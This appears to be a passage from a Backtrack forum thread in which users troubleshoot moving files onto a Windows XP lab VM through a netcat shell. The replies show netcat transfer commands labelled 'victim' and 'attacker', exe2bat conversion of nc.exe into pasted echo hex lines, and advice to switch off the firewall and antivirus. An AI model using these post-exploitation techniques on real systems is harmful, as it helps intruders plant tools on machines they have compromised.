Page 1 of 2 12 LastLast
Results 1 to 10 of 11

Thread: NetCat DOS session ??

  1. #1
    Senior Member skull2006's Avatar
    Join Date
    Jan 2010
    Location
    In my skull
    Posts
    125

    Question NetCat DOS session ??

    Dear All,

    I have 2 PC work in VBOX and hosted on Backtrack 4 final i make connect by NetCat to that VBOXs and i got this in backtrack 4:

    C:'\netcat\

    and i want copy file to that PC without using FTP.

    Best Regards,
    Last edited by skull2006; 08-07-2010 at 10:54 AM.

  2. #2
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: NetCat DOS session ??

    I'm not sure if you can do that but a nice way is meterpreter do upload files on the victim.
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

  3. #3
    Senior Member skull2006's Avatar
    Join Date
    Jan 2010
    Location
    In my skull
    Posts
    125

    Default Re: NetCat DOS session ??

    Quote Originally Posted by sickness View Post
    I'm not sure if you can do that but a nice way is meterpreter do upload files on the victim.
    yes i agree with you meterpreter is good and easy but i have Netcat server and Client and backtrack is very good in Netcat.

    I see it before but i forget to but it in my skull all what i remember it's convert the EXE file to "I don't know" and make edit to that file copy all contain and go to DOS session and paste it there.
    and i remember after you paste it type this " > Filename.exe " hit Enter """"

    Best Regards,
    Last edited by skull2006; 08-07-2010 at 02:58 PM. Reason: More Details

  4. #4
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: NetCat DOS session ??

    Try something like this:
    Code:
    nc -l -p 1234 > file.txt (on the victim)
    nc destination 1234 < file.txt (attacker)
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

  5. #5
    Senior Member skull2006's Avatar
    Join Date
    Jan 2010
    Location
    In my skull
    Posts
    125

    Default Re: NetCat DOS session ??

    Quote Originally Posted by sickness View Post
    Try something like this:
    Code:
    nc -l -p 1234 > file.txt (on the victim)
    nc destination 1234 < file.txt (attacker)
    That is good too, But check this out ::

    root@skull:~# cd /pentest/windows-binaries/tools/
    root@skull:/pentest/windows-binaries/tools# wine exe2bat.exe nc.exe nc.bat

    Finished: nc.exe > nc.bat
    root@skull:/pentest/windows-binaries/tools#kate nc.bat

    You will have HEX file of netcat if i copy the HEX and i paste it in DOS command prompt i will get nc.exe file.
    but when i make it in :

    root@skull:~# nc -v 192.168.0.203 2222
    192.168.0.203: inverse host lookup failed: Unknown server error : Connection timed out
    (UNKNOWN) [192.168.0.203] 2222 (?) open
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\> "when i paste it here the Connection will disconnect"

    And in the Windows VBOX i got part of the file.

    so is there any other idea?

  6. #6
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: NetCat DOS session ??

    Try turning security off like firewall, AV
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

  7. #7
    Senior Member skull2006's Avatar
    Join Date
    Jan 2010
    Location
    In my skull
    Posts
    125

    Default Re: NetCat DOS session ??

    Quote Originally Posted by sickness View Post
    Try turning security off like firewall, AV
    Thank you for your support.

    I disable everything dude and it still stuck on this:

    echo e 2e80 >>123.hex
    echo 02 33 ff 66 39 3d b0 fc 40 00 74 23 57 e8 6e 10 00 00 83 c4 04 50 e8 95 0e 00 00 83 c4 04 68 00 00 01 00 e8 88 e8 ff ff 83 c4 04 89 44 24 20 39 3d

  8. #8
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: NetCat DOS session ??

    Darn ... well that beats me I have no ideea why the connection closes and the victim machine is left with only a part of the code ... Try sending something slammer or if not use the method I told you in my previous post
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

  9. #9
    Just burned his ISO
    Join Date
    Jul 2010
    Posts
    5

    Default Re: NetCat DOS session ??

    I don't know if this will help you, but it is worth a try. Try to use the "-w secs" option on netcat. The following link is a tutorial about someone transmitting files through netcat while using the "-w" option. http://www.securitydocs.com/library/3376

  10. #10
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    Location
    The Crystal Wind
    Posts
    851

    Default Re: NetCat DOS session ??

    So a couple of options for you (btw I recommend you do the PWB course, there's a good set of transfers in that), but if it is hanging on that part, fire up a copy of wireshark on the windows unit and see what's happening - if the packets are being received but there's no error reporting, there may well be a bit of silliness in the nc -e stuff - you should hit enter a few times to see if you get a prompt returned.

    Also try to break the lines up a bit, sending the entire bit stream in one go isn't the sanest idea in the world (and you've missed out the >> 123.hex from the second echo line - forum typo?), so you should try to play with that.

    My option is usually tftp where I can get it, or powershell where that's necessary, but plain ol' echo commands have gotten me through more than once
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

Page 1 of 2 12 LastLast

Similar Threads

  1. Spawning Meterpreter Session from a Meterpreter Session
    By CoolKiwi in forum Beginners Forum
    Replies: 6
    Last Post: 06-24-2010, 11:32 PM
  2. metasploit, netcat ecc.
    By wolek in forum Discussioni Generali
    Replies: 3
    Last Post: 04-01-2010, 06:26 PM
  3. NetCat o nc, Backtrack 4
    By Sacrabma in forum Guias y Tutoriales
    Replies: 4
    Last Post: 12-19-2009, 10:10 PM
  4. help with netcat
    By imported_jammer in forum OLD Newbie Area
    Replies: 4
    Last Post: 10-28-2009, 03:09 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •